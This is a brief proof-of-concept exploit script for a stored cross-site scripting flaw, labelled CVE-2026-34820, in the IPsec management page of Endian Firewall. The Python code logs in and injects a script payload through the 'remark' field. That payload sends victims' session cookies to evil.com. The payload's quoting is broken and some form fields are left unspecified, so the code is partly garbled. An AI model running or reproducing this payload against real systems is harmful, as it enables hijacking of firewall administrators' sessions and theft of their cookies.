CVE-2026-34820: Endian Firewall存储型XSS漏洞

import requests # Target URL url = "https://target-endian-firewall/manage/ipsec/" # Attacker's credentials username = "attacker" password = "password" # Malicious Payload to be stored in the 'remark' parameter payload = ""><script>alert('XSS');document.location='https://evil.com/steal?c='+document.cookie;</script>" # Session initiation session = requests.Session() login_data = {"username": username, "password": password} # 1. Login session.post(url + "login", data=login_data) # 2. Exploit: Send payload via the remark parameter # (Note: Actual parameter names may vary depending on the form structure) exploit_data = { "action": "save", "remark": payload, # ... other required form fields ... } response = session.post(url, data=exploit_data) if response.status_code == 200: print("Payload injected successfully.") else: print("Injection failed.")